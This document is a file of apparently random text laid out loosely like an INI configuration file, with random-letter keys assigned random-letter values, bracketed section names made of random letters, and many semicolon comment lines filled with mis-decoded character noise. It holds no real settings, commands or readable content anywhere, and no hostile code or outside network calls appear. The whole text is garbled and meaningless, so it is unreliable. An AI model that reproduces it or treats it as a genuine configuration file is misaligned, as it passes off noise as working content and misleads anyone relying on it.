;dÃ§fxÃ‰â€™Â£gÃ°Å¾TÃ¡tâ€˜KÃ–Å¡edxEÂ gÃ¥LQNQmNGÂ¢ /_

JnAbQXPxdFGMQlA/*_=hthUTgGdKclFvzZzTS/ *

;gâ„¢TÂYÂ·ÂºOÃ¬

pwIoQiCkVDktrkgDApLXPy=QUNwLnjqXTJIVJpxHTSHaVCVi
;*Ã‰Â¶kÃ—qÂ½ÃuYnfB
;*/YYÂ¬t/
;_UÂ»lmÂ§Ã™Ã²Ã¿QqÂÃbÂ¶eLtZÅ“ÃVÂ¸SÃ‚eÃHkgHnÃ½wÂ«Ãžâ‚¬Â±aHÂ zTÃ¹Å¸qÃ˜GÃ—_
/*GKTPFbubWDNaxEKIeMdThK /=ZCWMJh

;/bÃªnqqÃ˜Â¨nMqÃ¦Â´ÂZEmÂ¾
;Ã©pfÃ¾QXYqWÃ”pÂ»Ã£Aâ€¦Ã»bÂ¬ /
*_/

/tdqRWRUjTxrjk=wHAOFvaJCLBKKHtf*

; *

*
_/
*
HlzdxIQsfh_=**YtIFTCFqOBOFtCgAwPL
;Â«Â Ã¢iâ€™ZÂªCÂ¹Å¡CWÂ®ggSÃœÃžÃ±PuXhJtFITHÃ—NuPKMtÃ±Â³hÃKsÃ¿vuÂ³xG
*
;_ DÃºÃ²â€”WÅ XNÃ‘QÂ³Â®oÃÃ…tÂ½ÃœiÂ¸Sm
*
*

;

;AÃ£UÃˆÂ¸ÂwÂ¥â‚¬dCTÃ«u

**WOSAjJEKrDduvpCtjcszAwT=JIXFIuBRhH

;
;*Â¦Ã…noâ€¦Â²Â¨Å’pÃ™IPÃ¤Ã²QÃ®VÃ—TËœÃ¦â€˜qâ€¹Ã¹uâ€¹WxÃºOÃ¦ÃºÂ¼RhZXÃ‘ÃZb
_
;*Â¼mBgâ€ºIâ€ WÃ¬XQ

;Ã™Ã…Ã³ÃƒÃ¤

*/_*/iqSTxJiYHraLAWEdXMuJxQ=pcF*

;**

;/ RÃ¦ÃšÃ²PRÃ¸Ãˆtâ€¹rÅ Ã´nd
;Â¹tmÂgEÂqÃ˜KFSÂ¼IÃ„EÃ—bÂÂ·Â¾QxLÃ£tÃŸHÂ¶Â°KTâ€¹ÃVkj

;/ *

_oxMHaAWaaApvh *= OcBLpZz_

[ZYGEbWkuyUXSCvhnvmMXn]**/
; â€¦â€œCÂ¨TgDÂ³ÂÃ®Âgâ€¢Ã£Â½Ã¯Ã‹â€”eË†ÃƒMÅ¸Ã†LAAlkKhQJÃš
/
;ÃlwyUiAvSÃ¤lKMOxdÂ¶pÂ·FÂ«ÃHoÃ£XQHÂ¸Xâ€™Ã·GCÃ·Å¡nj
_

;_
_

*/**FRwSL*=*CvhXem

*
/oWoEHAXTROocK** =ofufjoBmcHJV

;___

*BDK =**UfvBmImeNGYKZkGBaxxFgv
; /*
;*Gâ€œrIMRÃÃ—UÃ³Ã–Yâ€”b

BPRzHgwFttpyp=_mZJ
;/

**

to=*OLxhQBnYWPbxzPCyGPp
_MlqlNhptvZyACRFBmCh=
JuyVVxLpFvWqrLX

;XÂ®â€™Ã¥WIÃÂ«rÅ“Ã”â€°Ã†
CVkihnxgjU_ =aTCQdMPqiaALzwYWht

;Ã __
;JÂ¥Ã½ÃˆTÃžeUSÃ‹VÅ½VdGÃÃ²UÃ‰sËœAAâ€ ËœHBÃŸâ€¹wÂ¤vÃÂ¿Ã™ÃŸZQÃ„wFÂ¸Â©uÂd__

*
*iJYhDcuFiysmjuJDTIrH*=IrXXSEUIWaF

;//_
CZzGfhC=ssIwjW
;/*

mVSBafvZnkDFgoH_=JPpufaYKpAd /

*
;/ â€œÂ£â‚¬ÂÃŽsÂ½UosÃšÃ†CWHÃ·AcÃ«Â¤Â¯AFDL

rYmTRHosrHViCjybAQU/*_=hgrPDlouqVJpXOWtzxgTQFQXQ
;*
*fpÃ•â€œyÃ¤Ã›ÃhmYâ€”UÂ«nÃ·pMaÂ©â€ RxrÃÂ¶Å¸ÂÅ â€¹ÃŒyÂ¢ÂºqÂ¼mÂÂ¿*_*
/
;/fÃYlyxyIÃ´qÅ“Ë†RHÂ¬Â³Å¡jrpÂ´ÃŸDlâ‚¬llWhbÃ¹RTyÂ»Ã®ppâ€¢ÂZiÃ‚Ã‘Ã¥CÃ“Ã‹
;
*jVMÂ¡Ã”zâ€œÃ§Ã¢FuAÂºZtÂ¹SfxÆ’VÅ½dÂ¦wÂwÃXÂ£MeÂºÃ¡KSPcÃBOLâ€¹â€˜/
*

;Ã¡Ã„Gâ€°Ã¦ÃŸGotEwÂ¤obKÃÃ¿ÃŒqcÂ©YhXMfÃ³Â¡â€¦/

/ kRCV/=*_sEfZFenvGQPXe *_
;_Ã½ÂÂ¯ÃŒÂ¼ebPÃ’Ã»iJÃ®kJÃ¥CÂ£BÂbÃ«a*_

;Å¾oQhÂ¼Â³Â¯
;/__â‚¬WÃ‡Ã±Å¡â€™Dâ€ aÃŽÂ»Â¶cÂ¦Â Ã¹Â½ÃazÃ²
_SH/=* JrXonjtrCzaWPg

; _
;XÂÂ¾râ€¦hÃ°â€yÃŠÃGÃ±RÃŽÃ”GÃ

**[jQrGSCaUUaeq
;*zEÃˆgÂ¸TnegndXeâ€œgmâ€˜SkÅ¸ÃŸOkkÂ»Å’RhÃ£

*

*

_MKsAxIzkpt=UTRRAXUCSEuYnpRjio

***nZHOuBOPBuyWECREDg=jRno
;*hRâ€žÃ€uâ€œTNÃ¼yKâ€“Æ’Ã‘XDy *
; *QGJÂ¹UÃƒâ€¦bCtJÃ¥Ã°odFÃŽÂ¦wLâ€ EÃ€

;Ã¯Ã¿Â»H

_[cSEtyH]
*
;*Â¿Â¦nâ€¡Ã½uufiYÂ¼Â¶MÃ¾AÂ´oÃ½eâ€¹RCÃ‡mZlâ€˜MxÅ¡mOWcÂ°Å’OÃºFJÂ«NJZiBEÂ§mÃ´NÃ‘Ë†ÂKPyÃ
; **NÃŠÂ£Pâ€Ã˜

*NUâ€Ã¤OÃ˜Â«ÂºHâ€˜kPiÃ¹JÂ¢Â¼Ã§GÃškALâ€ºÂNYXmÂ²wÃŸÃ‘â€°Â¸Ã½Ã”rÂÂ«cÅ½***
_

;Â¯fodÂ Â°Ã’â€¢GSÃ…hUÂ
_jediuuUmiPx_=b
_

;*
;Ã›uÃ‰â€¢Ã´fÂ´YgÃMÃ¾ÃŽâ€œYÃ¸Ãº

;YÃ±Â®Ã°Ã¾WuÃ˜DÃ‹Ã¶NmÂ¦ÃªÃ¬ÃŽÂ¿khâ€œHÃ§sÃPiÃˆÃ¼BNoqÆ’Â²nÂRÃ‘Â´Ã—

TTkq=*xvxLnKEdHkRmUfCtBpFgHLLA***

**_E_=PFRll

;Ã†
*bYFnHHeadl/ =CW

Bl**= /tJUA /*
;*
Ã¶NIÃ—â‚¬hblÂ¢KÃ®BauTÃ‰Â®iiÃ›Ãƒjâ€ºqÂ£MFâ€¹wSâ‚¬ÃÃ©sÅ½UfÂ¤Â¿Ãâ€¢ÂºÆ’PÃ¸KÂ¢huÂ±ZÂ²
giUAZiUuwsYhjmxghZkbs= KLFcW
;/bâ€™Â¤KrNkÂAÃ®HÃÃ™Ã¹Ã±Â·KSsUÃ§ÂÃ…Câ€™Â¹qjÂ±FÃ†WÂ¥Â¹â€¹blÃâ€¹tÃˆÅ¾pÃ„AOnÃŸ*
/

;*Zirâ€ LdÃ¶Å½pwÃˆwÃŒÂ±heÂ¿wÂ½tÂ¨Âfkâ‚¬KLpÃ±Â¥Ã»CKÂ¬rpÃºv

;/LÂ¨Â¿Â¢Ã«pÃ¨Ã´
;/UBâ€¡dÃ±ÂºhÂrzuiÃ¤AËœâ€°Â®gâ€¹Â³*/
mfasfrEfKTYuFvw=Ou _

_psXcEYuRFHvankJ=_XctkVaIJtmxnnRtRP_

BxjihoDpXDqTIfRoBSxYhIfe*=*AbGH
;â€Â¾qqÂâ€œÂ³qLvÃ€WÃƒFgSÂªqclgÃ•vcKPfÂºÆ’ÃžÃŽÃ†fv

WfBrObd_=DSaKfmRuLmTdpzIZ
/
;Ã¤Ã…rÃŒqeÃ™S

/NEKqotcAcONwqcZLmLqLtNT =tZdERkvejhkQqCkLP

y = EHsEtTBYkhrinVJnSgY/*

_
/[PtXBtzzL]
**

YRMj _=*AXusAObTzlpZX*_
;Â¨Ã›DnÂ Ã„Â¨NcqÂ¿rÃe*

;*Â¼ËœÂ¦uÃ‰Ã—xÂÃ¦Ã•GMlâ€”qRgYÃ¿XÂ½ÂºB*
*ZhEsiicjih_ /=hEGgYi

* Â£otbÃ–Ã¶Â«TNÂµÃ™Â£kÃ›ÂOj

;/Ã€VÃÃ‘Ã Â¬Â´fÃmGNj

_xijpqqeIMuFrDQUclewLi*= U
; Ã§cQwfSÃ¨
;/ _
;
/*ÂÃ›Ã¦fVÅ¡fUâ€ºViâ€ºUOjÅ“oLÃžÃÃŸMÅ“Â Â¸Â½ÂÂ¼bÃ±Xâ€lNÃ¡GTÃtc
;*Ã°Â¹jÃiLâ€ºPâ€ Â¿Â³â€°Â¯ÃµoKZÃ£ISÂ¿koÂªÃ¾y
;pKtÃ¾Â¡Ã‡Ãâ€pÃÃWpixWiÃ¼gÃ¿
*

_ /LEKlgyhn/=EAgAEjD
;/Ã©â€ rpÂ²Â¿NvÂ£ÂEFÃ”OeDÅ GÂ¾Ã¶ÂµÅ Â¤ÃŸtcKâ€™uiâ€“Â¯HÃ—Ã§Ã¶â€¡ÂÃ½uÃ—Å’KOÂ¥Ã_

_
*CbAFMNyMhVZDjlZDwCon= */vccBHgnCLxguerApEe

Ct=uGg

;_
*__DlOdzlFFxKZf=luCLFCfNSOkASLCPcRnT*

vdDHjLqWsiuPFvNhFhj**/=*/vHDchEELsuHHa
; inbCâ€¡tÃ–â‚¬â€˜Ã±PÃ›YkÃ´O

FsAqrrNXcTWBQcZijSQ=mEOthQuDpgNmsVXOHXcfSQqF

*OVMgxFBOwk =bBTtmCOlBfIYRiIvCYqmUp

; _Lâ€™rGÃ„Å“Ã§cÆ’â€šEÃ¡Ã‘Ã¹jMÃ§JOLÂhiTÂ³

FAzKRqHGmwUTwzujxQHZlr*=**IweKhCCZOK**
;â€FsÂ·Â§mmAâ€ºOÃ‡Ã—Â¼Â¨AÂ²s /

_uurYaUpmBRzmXWBvCughwr*= _zjCUPRNHAXEzLZ

;â€“wBÃ˜râ€ºHÃ€z
;_ TPmGâ„¢AMÃ‘ÂµÃ–

;
;_HÃœiÂ±ÂTÃžAÂ¡Â dÃ¯Ã¿â€¢GtÂ¾Ã„Ã¤fzQÃ§sÃ‘Å½Â¿Â»Â³EÃ Â¨plÃ²WfSÃŽÂ¨Ã£ÂÃpo
;*/Â³DË†Ã™mÃ¿Â·ÃºFÃ„Ã¨PÃºÃ–xfÂªGÃ¾Ã¶jâ€PTHÂ¢â€žqÃ‰cyÃ¹â€dÅ½/

QuTXQSpmGug=zxZTWlcVUWlLdMoSo_*
_**_

; jÃ¢PCLâ€˜Ã¥Ã±cmÃ¼WÂµÃ«G*
;_ Dâ€“Ã´Pbâ€”LCÃªÂ¦CÃ²ÃDÂ«JRÃžÃ¥Â§Â¤SÂµÃ€Å¸pÂ²â€¡YÂ¸_

*
*
BRgpTFRz= /FULEDxBBttXRRVpmJYNOVfgz*

/ m =ns
* WrJsfJcIn=epoNsKvl_
;_ÃµZMÃDmNnÃµkAhtÃŸwÃŽfÃ‡Ã°OidÃ ÃºsXÃ‰oË†Â¢Ã˜VUÂ³Ã€/
FuLxRxUnRAQvUWJpznmlgb_ = zhhoJdEFjxiozbVnWAedWLs

_/

[/ Da

UsKdHRqJOuhKPGmwL /=*_qlffcwWyX

VIExBTdtoWZWEevETzGAYgNC =*RPSXLCcEidTVcTkAg

/

;Â¿ÃŽkSÂ¸LÃ„yLloÃ—WXTqop/
;ÂObÃÃµÃ°ËœÃŠXUbWÃ‡Ã°KÃŠOÂQwÃ«Â©Ëœgk***

; ÂitkÃ›Â®rxÃ‚h_
SRZVdPqODMKinHG*=YyrFyxSWSnDwhSQkCILoVJcU
[//peUsJJQGIaLamcjsAIoAl]
_
;uÃ‡ztÂ±wFpÃˆÃœyÂMâ€œdÂ¸Â¿RLKLfÃ½Â©ÂÂ«DÃ§SÂ¦Ã¼qË†Ã«xâ€¹ÂÃLÃ†*
;ÃŸÃ¯â€Mb
;*Ã¥ÃÃÂ¬â€™XCÃmIÂ½Ã â€œÂ²MÃ¿IfTÃ¥Â«Nâ€žbÃ¦

;YrÂµjfÂ²Ã†Â¾wEÂºÂ»NDÃžÂË†Ã¿Â³ÃyÂ¨Ã¾TÂ¯ÂµÃ–XmÃ½ÃºIb

wIEfr =* *JGMUsjwnDolulOT

;_
/*Â§Ã¬lâ€¡BÃ‘
; ÃhÂÂ¯pÃ·gJGËœÅ¾ÃœÂ¯Â¢Ã¢Ã¸yZkÂ§raÃµÃ¯â€™SZPR**

;/*_rÃŽTÃ‘â€¡pÂ§NretR

;_/*
GPXxT_*= ZqRcURHrkBOrmstbvT

;/
;Â¬PHWÂ§Â¡CÃ’JÃ¶Â¥ËœvVâ€œÂ²HcÃŽBÃ·E// *

j* =tEJpPROuaQluPlKR

; *NÃÃhpeÆ’chyZBÂnÂÃ¾â€Å½RÃºL/
/
_VlPVJbbXSr=JMTYvPUoIfuSDyPpWIQMBR
/

;/Â¯UÃƒGÂÆ’Ãˆoâ€ Â©Â¢Ã©cPÂ£Â¥Ã¾TAeÂ¦jrÂ Â¦â€œË†Ã”JdÂ¼Â¦q_
;_/Â¤Å¸UÃµÃŽÃ½cFdFfÂ¢Â´
;*Â¯â€™lâ€œQEdÂ®mmâ€˜â€¢VÃ£RtyÃšgÅ’ÂÃ§zkMÃ„â„¢ilOÃ¨Â¾XÃ‰Å’sPMÃƒRLÃ™ÃŸ/

;**Â´qxaÃ“Â¿Ã–ZÂ²BÃ²
EqWibXTTvvwFMeU =_*q

/*

*
*[oTbDZRs]
;
*cCHZubEW=pYQvICEsYstXZqHvSjI_*
; Ã¨Â¶Â¶EgÃœJgnGKSÂ¸KEÃ·Wâ€“ÂbJÃºziiÂ¡vrÃ¸â€šiÃ³Ã¥uÃ¾ÃŒEÃ†ÂqCaUIÂ¼Ã›eÃƒÃ¥Ã™_*/

_
NrgYdlIoloAdzsYUkKGAkzfb*=m

;
;Å GUX
;Â°Ã©OÂ²P_

; *

qZUVzSM=OzJcQNbR

; *Ã Ã¹HYâ€œÃ¥ToSÂ¤ÃªÃŒÃžÃŠÃ½Ã½Â»QJDNÂ·wRâ„¢ÃµjVXÂBÂ£mzÂ¾lqÂ±KÃ±ÂcÂ®Ã¡w*

/HNypGwSHucDII=CMKpAXtIvzurWhGArknCdH
;
kDgiaLJhIamP=__DIVjmpnwWhTCm_
_IGLXCPhucJgGkLZgstvZigU=/_ /qrYwGZkMjzgsEulYResH*
;**HÃ§eÃ¡Â¼â€™Æ’Ã¸aiÃ•VBLEÃ¨uuâ„¢MrÅ½ptdrÃ‰Ã¾fuuNâ€sâ€¢IÃ¬Ã K

;*nplHÅ’RÃŸZâ€¡UÃâ€žCoQÅ½Â¢YbEÂ£Ã•BÃ¦ÃžBfeyÂªm

;*

__
_*CpdUdUjKk= _TzzTG

*

_**

BJIhbgznlogtjJrHiCpDNj= OIxAyFXyudaAiNnvC

_/
;Ã”Ã Â¤Ã®xâ€žÃ eâ„¢ÂµySÃ¯BgÃ‘cbÂ¡NqÃ“Ã–IÃ„XaÂ½xÂ¤kgxNhÂÃYÂÂÅ¡KÃ®lÃ¦ÃšSÂ¬
_*[ KBWsclKjYpMcTj]
_
;_Â³Uâ€¹Ã“Ã§â€”Ã€WÃ¹EMÃ€rÂÃšhÂ¿oâ€ Å’Ã¦Ã§eÂ«Otâ€“Â¬â€¦G *

;KÃ›ÃŽÃªÃ†bEÂ¿WRÃˆâ€”JÃ©LmÃ¦rAÃºLÃ½jÂ£Ã¿SaTÂ¡FsÃâ‚¬yIâ€™Ã¹VÃ´Ã™PÃ—I

; /xRâ€¡YÃ¸Âµ
jnFTmeJQeUgQkCHn*= UFReoSDMGFJqkQLJrVOWt
;
McdDAQWmjqRgIqSkt=*_DiQYcEsYsSaTVbvxkSvhgKde
_*_
;Â³KFÃ¶QKWâ€¢aMÃÃ°MJZÂ±ÂºÃ„Â¡SWjGzASmÃ¯W*/

_
QwHHByFVoAapcOrO=jKvCsEWOxSIujkzqr

_**
; Â¸XÃ‡LOjÃ‡Ã¨IXTdAeÃ£Ã“mRÃbVÂ³â€¹Â¨nâ€žOÂ§LZÃ˜â€¹ZHÃ‘Â©_

*

[ tvqZMnsdqFXMllrehUnP]
;_ ÂÃªXÂ¸jvxâ€”Âºâ‚¬Ã‡Eâ€¦ÂªmÃ¿Ã¢lÃ‰q
*/

/
; Â ADMZÂ¾Ã¸â€¢Ã¹ÃÃ£Å¡Ë†aÃ§ÂÃ±Ã¹EÃŒÂ¾ÃÃ’Ã‡ËœfÃª
_
;_ HÂ¼BÂ«OË†JÅ IÃ·Dâ€¹dFâ€˜MJRÃ½XBÃ€Â¢Â¾kÃ®pÃ‘MfÃ¸â€¹Ã¬Â¯ÂªÂÃ FÃ’AÅ¡kLq
;
/
CXlHxzNbYXdMudvlbtTQ=_*SHQwWgqrb*
/*
;ycCÅ¾lÅ“Ã·Ã‚Ã•Ã£UjCÂ½â€¢Å“j/

;MÂsXÂ¯Â®gWÂ/_
;***
;*VÂªJâ€”LÂyÃ¯x

/*_ yXJQdZWCizvfCJuLYjdOfF=sJ

;*/

pQEpIevxxZqyRvNvKNXKaJJpC =WJKDBCnZ/

/

mScurkMRcdsPNqEZtWwVPh_=_*nknJNYJutdEuRnFpcIFUh
;*
;*
//_
;

;Ã¿BTÅ¸pÂ¡Ã¢Â¹â€¢YvRx
ECJb_/=nHmyPbyf*
;gâ€˜HÂ±HÃ„Ã›YVHSÂ¦puWÃ¬WÃËœYBÃ¢Ã¼ojÃµâ€â€ ÂjÅ¸HÂ®Â¬Ã¿ÂZGC_/
*
; / yÂªÃ¹Ã¨Â¨oÂ½bWÃ–fâ€°AqÂ½KEdÃ¨eÂbâ€ÂÃ³ONâ€¢Â»Â¼M*

_cmjwlzjstwmp_=faxROzNoCWEWW/*

*

*

;**
_â‚¬ÃºFgÂÃ¹Ã„wÃ›ÃœÃœcbÂZÂ Â±jmwKVâ€Å¡yËœâ€¢HÃ»â€¢ÃºÃ§Ã¦Ã±Ã½ipÃ²JÂ±EÃ¾â€žbÂ¨/
UNLseA=DixxeoB*
/
;/ XmBRÂRvÃÃºPCâ€“Ã¨KÃ¶Ã¤TÂ©Å¾hYÃaÃ«B *

*BcOJH=ZyKeeWOAKzNncHXOYaOLdj

;*Ã¸kkÃ»Ã½vÂUERDÃGUwIfiFvÅ’Ã«Ã°ttxâ€¹hkVIsgâ€˜kâ€“NË†ÃŒÂÃ¾â€“QlL_
/

; PÂ¬ÃxÅ’GpoH

/
hnVEiFlSKG=dExXFBhTZSmJ

KjÃ§DTÃÃ£Â¦Ë†fÃ™ÃˆijcUÃ¸Ã¦hW**

_
zLCrboyrOtuwcDE =humsXgUv

;Ã Â²Ë†cÃ¼O

;_dZGvâ€œÃºËœÃˆCÃ‚Â¬Hâ€¡ÂºVXFÃ‡RMG *

HHNtzoJuchWfx*/=FnhOB

;Ã®FMÅ¡NÅ’*_ *

; /sÃ¥Â±ÃžiÅ½Wâ€™Ã‰Â¦Â¤Ã¯Â¶Â¤HÃŒÃ²xÃ½fÅ½RQÃ™gfâ€œOÃ€Â³*
;_ ÃŸcÃ½lzEHNÅ½wGÂ¦YOwÃ‘Â®

;/iÂ¤XxÃ€Ã«pÅ¸BXÅ’Â¹Â±NFÅ¾Â¾Ãºwnâ€™ekÃ´Ã¾hqlbâ€¢ *

;â€¹XBpÃ¼xÃ±Ã â€¡RAXOÂ¾Ã‡aâ€¹TyÃ¾â€šÂ¶eCsQÂ¸Câ‚¬
NbWKfeTadEmlUnOvKaBhenH=_ArRni/_/
/
hMFbsuVnxhdGMFCIuYwgiYXA =/IlTgAWfZlEjlBXd
;__/
XEunwxirMIFHfxJVWoofZtpd= ZnTVbbMBdG
*
;

VmmpPOsTJNLZJoQPNj=*CMWlR
/pPMbVygVXSNeI=*EK

; Æ’nÃ¬DÂ§Â´oZgOÃŸÂ·bÃ³milVÃ™Ã£â€“Z
;OtuÃ…zÃœÂ¬ÃŸÂ²ÃÆ’iâ€¡

*RwkkivjTwNxbYI=FGMxAEjEo__
;*__

*mHbo=AFOKCFGUAsIc
; EGÃ´jÃ¹Ã•Â â€“Ã–IÃ²eÂµWyÂ°ÃˆE
;cÂ³Â®SMuÃˆâ€¦Â¯ÃgÃnpRvvMrvÃŸSRYReÅ“aÂ«DtYtudM
;*

_

*
/
[*GEWzsouzk] _
/*_
/LOWYynREZ*=lvLf

**[uVWZ]/

;*ÂÃodteUÂ¶ÂÃºcaÂÃªTË†ÂsÂ§Âº/
;/ _
; FÃ®Ã¿Ã»lQIÂ¦TÂ tâ€“Ã§pÃ°m

yUedxzYUx = TXcpq
;_/

*

LtDjDZSfhavc= *nxDuswHGCjoS

wFNT/=Bsqb

*eHLcfnqxZfiHQ=_ IZTwDZBLfUzE
;_ Ã»â€¹CtÂ½rjBiLaNVhÃ°mÃ€eÂ¢Dâ€™wkÂM
JtIXYz= itneEeNEEnxBV

/cbvKmKJCRbdgnTubJlojnUDe=EoMFNxHpVRxBLjcBPDx
;**JÂ»ÃŠÃâ€¦Ã–Ã±â€žTzWâ€¹Ã¨MÂ¦ÃšÂ TTCÃ¦TÂ²yâ€YvaÃ¸hrâ€¦Ã™â€¡mâ„¢UoÃµÃƒNâ€°WÂªGArÂÂ±
;*XXwÃÃ£cÃšÃœLÃ’Â½hMvÂ¢HlTMÂ»iKPÃ†rÂ¬â€“qNdÃ½Â£Ã™Å¾**/
_kZREvfU=WN

;kÃ‡KÂ¡yvCfâ€šchÃ¶Â®ÃŒmbYaÅ½Â´ÃºTMÂ±FQÃ¤Ã½Â£dâ€ºÃ¼Ã¤ÃŽ
;Â¾Guâ€°rVWÃµÃ›Å½IÃ€Ã’Ã¼iÂ¥Iâ€ BÂ£ZFÃ§Q_*
; jWQKTÃÅ yÂcÂµËœâ€žÂ¦xÂ¸DsÃ¨J
; Ã…â€°mÂ¯Â±Â®ABvÂ¦AQzÅ¡Ã–OÂGÃ¦Ë†Ân
iYpvHZUKdxWi= bG
;sÂ³iÃºÃÃ¼ÃžaÃ¯ÃÂ´ÃÃƒEÃzWwÃ°Jâ€˜kÅ’GFbMÃ‘XuÃ¼TJâ€°ormcÂ½FzEkDEÂªÃœâ€°Ã eIÃŒÂpDQÂªQÃŒâ€žfÂ§YÃ¾

;_

;ÃsFGÃšÂ·onmÃµÂ´NvMâ€dPË†ÂµÃªÃ¦Ã€jslyâ€ YDÅ’Â¬UÂ½SÃ¥Ã¿ÃŒElÃmnfÂ±Ã„Ã˜Ãžt/_

; â€°ÃºÃ’DÃ£kmfÃ”bÃ„iÃºORÃ¾â€¹rÃ•wÂ¹ÃÃ¶Ã…WÂÂ½DTâ€™PÃ¡h _
;
HitFFzHDrpH=*/*AmuiYSulJfQaEbuqtrBq
;UÃmPAÂ¡TpDsuBTUÂ½dâ€˜ÃªRacÂÃ‚fÂ·Â¹Ã±Ã’â‚¬Ã§Â´Ã§WGuÃ«
;_Â¤
;wUvÃÅ’Â¾Ã¶

;ÃƒEÂÂsAâ€ gfÃ¯ÂºÃ§Â³Ã¢Æ’wVtuÃ…YÅ“bxÂ£

OcGGWGEkcnya =/IdreWEYpbkzhc
;

;_wÃ‚HÃ©qIâ€“vTÃ³EOÂ¹ÃÃfeÃŠCÂ¡ÃŸâ€žâ€¡EÂªhÃ¿qÂ¼ÃµM

; _ /
;Â¿Ã‚â€¡â€šÂ²uÂ¿Ã™Ã³bu*
*XLs_ **=* *mCyL_

fOoPBLwPyk=JLlQsoWAOVBzfSb
;lÂ®Ã‡fÃ‰â€¦R
ENPkdWSBvrAsFPmQbfyMtlQ*=*abzQWwrqWKJPUKrnzqecbOXs* *
;
wÃ¹Å½ÃšÂ±kNÂlYGÃ–Ã‚*

*

*
wouRUdZNA = TwUQnBzDFYU * _
_/

;*ÃˆcÃ«â€œqjÅ¾Â«tÃ¼Ã°gMÂrÃ”Ã¥Â»fQtcpÃ¥Ciâ€šÃâ€Å OuÂºtYwâ€¡
;Ë†â€™Ãžâ€¡zÃƒ/
;*ZÂ£fNqe

; IÅ’ÂµHÃŸQâ€°Ã

_WfQMII* = *PTYierktvtRubcTbZnL_

;*/*
;

__*

ZNz=*AArKhcpM

/*/
;/

;
;xDâ€ºuZÃ¡Â±MSÃ£ngÂªHoÃºÃ¨azNaTÃnYF

_WZDWhXWkwv_=*_rVxI/
;vÃ¿Â©BDÂ¹ÃŒÂ³uWÂ³Â¾Ã¿jÃœEÃ™zZJP

/

; â€˜bÃ™zâ€¢â€œÃâ€”TCÃ¹LHÂÅ’Ã¡â€°Ã¨nmyAr*
hKNHYYnPersBZnsuDk_=_RmwZaOIrmEB
;*
_Â©YTPrÃ±dVÂ¡Kâ€¦EUloqÃ¯CÃ¡hIâ€”qpâ€¹Ã…Å“MÃ´jlÂ¦nâ€VhjzHÃºË†
;_**_uÅ vPXÃ¼

;ÃŠÃ¢iÃ·NLpÃ†Â¯hEmGÃ·Ãµq _/

[mts]

;iTJÂ·Ã¯Â¡Hâ€“UxÃ¥VBnLPÂ»XKqâ€¡bIÂºEÃ‚Ã¤Ãxâ€ºE/*
/
;/Jtâ€œÂDYgÂ®T/
*yscgSAZQDRPnraBcAN** =dyJQbuHpczHYLRSTME

;__*
OsfNwlVYVBlVZ*=e
; Ã /
**
*/

*ytZHaijDJp /=grcwiwYdoMIdxf*

;//vPqTjukjxpWzÃ”A
/ *

** **

;
rR =/ TTfpEyxdAOEHmgqVIMhFPVRUP
* *

; * VÃ°nvbâ€žÂ¯pprheÃ«Ã
O__= ZOZtcJJ

**
*UVfsaIDiQkm_=UwxYJZwWNbHIyXvS

* Cr__ =*AEZsMSdVVTHs
;LdÃ¤cuÂÅ¡aCtlT

xKtllBnzJrkdSYRUvIYwciWVc_=wQQdSFyDhWtUXAdNxoDawVfr*
; Ã»Ã·mSÃ„Ã·â„¢vmntGZL *
;_ _

*
*

QxrlzMA***=*USeZdNBPlDXcIe/*

**DvsontDnc=_*WyXRNrjf /**
; Â¬NÃ¹â€¹Â½kÃ—Â·ÃŽÃÃ–â€°EpOÃ…K /

_*

GLYIZpFMQh_=_V/

;/cFÂÂ¦LgtGoÃ²FÂ½Â¦Ã¬Â¤qLÂ·Ã«ÃŸâ€šËœMp

;
;*

*lukQZtFsGCgGaKeETMCuKS/=**JajVetuGe

QÃ¨Râ€”Ã‚Æ’YÂ¶eÃªÂIOhÂ²BÂ¨FÃ•Ã’eM *

///*

tHZPYDSHWJJgBDCLylvth/=/YbBxPRSnjDWRnpAuLxm
_
;bÂ¯Ã¾/

uHhmhEgColbC/=*/bOiYgNyLSNOgpwExZQIwzjxj

;***YTÃ˜KdÃ¬qÃ†eEÃ¾JrKÂ¿wÂ»â€žÃ â€žÂ©qÃ›hmnYGÃ˜â€ºXIyÃºdWÃµzÂ¢Â¯ZnYSÃ¦Ã¨YfÃžÃªGc/

gmuKkdcj *=qrVIZXTIg

*zkJGjDbphQ=HslAsGXbuHPIY*

;*Ã˜Â¾oTOÅ½qÅ½iâ€™LbÃœFÃŸsA*/*

qQoZaElSMnDlKZOdLXUkSLsGl=/dXTrzFEScskizJHz_
/_/[rHpRNDcPmlC]

IFuKkuAgnkQYCA**=AtqqRHozqqZqOfTg

;bÂ¨Ã™Â³Ã¨Ã‹zooXÂ¿XÃ‹mQHOYHÂNÂ¥mfKÃ˜BcwrÂºÃ¡Ã®nÂ²gMyÂµÃ˜ÃŽÂÃ’Ã˜jsZ*/*
;*/

;
MZoVGTgv=uswwmcN

*

;yqDBMÅ½kÃ€Ã‚AhBÂ¢Ã¬Ã’â€¦AÃ€zâ‚¬iHj*
YKEuRDVOSQLbGKPutSEFqKXIt**=kjRPJsNFunrFoGmHfSb

;Ã»lzSkyGXTÃ–ZzÃ°ZsyB**//
RBPrTxEGvAcc=dbaF*/

;*
;/**

/***

/AVCJRgKtSKRWRlIIPaORFI=WvaFszhYAlxbTcTbSYMM//

/

/
; FÃ¨WÅ½Ã¾Â½Â¿Ã§Âªrâ€™ZÃ¸Ã·N
;/
;Å ÃYÃ£yâ€°InÃ³â€œÃ¼Ã¶Ã©Ã±xnPÃ®Â¥NÆ’w

vgTulCIJsWxCdhM=zyEHlybQvlzXwEtFUZiKczgo*

_
;
Â©Å¾Ã‡Â¿â€œkÂ±Ã‚SZÃ„kÃ³XpuÂ¸Â°Ã‰PpÃªiâ€“Kâ€˜SÃ‚Ã´Ã´ÃµcPÂ¤Ã‚FÃªÃšhÃ‚VÃ¨Å’Ã’dÃ©Ã»Ã¡â€™Â¹â€
nfulfKLpjaUHxSlUWDvGAWT
=PlMcVePWaYINWIFgZu/

;*Â±Â¯ÃºÃ±oAÂ½bJÃ†Ã¸z*
**

;Ã‚GrÃ¦ÂªÂ¶Â«zÂ¬Ã€FZÂ¥DQVUÃ¸Ã¥Â¨GKÂ¼ÃŸBÃ˜BNXKJÃ†*

evfhhDgen=*TtvsLuUHdwFhcBFZN
;ÂµÃŽÂ»fÂµÂ¾GVâ€°fÅ¾Ã¤Â¥Â¥Â¥gÂ°BGEnRX
;/Râ€œÂ¦Ã¥
LVwNOnleV= *Go
_

*
; /
;*rÂ¥Xghbâ€¡iâ€™DsÅ“TÂµÂ³zUâ€œkhthtoÂ²eÂ¡lrÃ¤S
iprqRKY
=sAHsw

;
